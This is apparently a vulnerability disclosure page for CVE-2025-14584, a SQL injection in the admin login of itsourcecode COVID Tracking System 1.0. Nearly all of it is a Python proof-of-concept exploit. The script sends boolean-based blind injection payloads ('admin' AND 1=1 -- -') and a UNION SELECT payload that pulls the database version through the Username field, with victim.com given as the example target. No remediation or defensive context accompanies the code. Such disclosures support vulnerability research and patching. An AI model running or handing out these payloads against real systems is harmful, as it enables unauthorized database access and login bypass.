CVE-2025-14584 itsourcecode COVID Tracking System登录SQL注入漏洞

import requests import sys # CVE-2025-14584 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Endpoint: /admin/login.php # Parameter: Username def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-14584 payload: SQL injection payload to inject """ login_url = f"{target_url}/admin/login.php" # Construct POST data with SQL injection payload data = { 'Username': payload, 'Password': 'anything', 'btnlogin': 'Login' } try: response = requests.post(login_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def test_blind_sqli(target_url): """ Test for blind boolean-based SQL injection """ # Original payload - should return true true_payload = "admin' AND 1=1 -- -" # Modified payload - should return false false_payload = "admin' AND 1=2 -- -" print(f"[*] Testing blind SQL injection on {target_url}") resp_true = exploit_sqli(target_url, true_payload) resp_false = exploit_sqli(target_url, false_payload) if len(resp_true) != len(resp_false): print("[+] Blind SQL injection confirmed!") return True return False def extract_db_version(target_url): """ Extract database version using UNION-based injection """ # Payload to extract database version payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL -- -" print(f"[*] Extracting database version...") response = exploit_sqli(target_url, payload) return response if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-14584 SQL Injection PoC") print(f"[*] Target: {target}") # Test if vulnerable test_blind_sqli(target)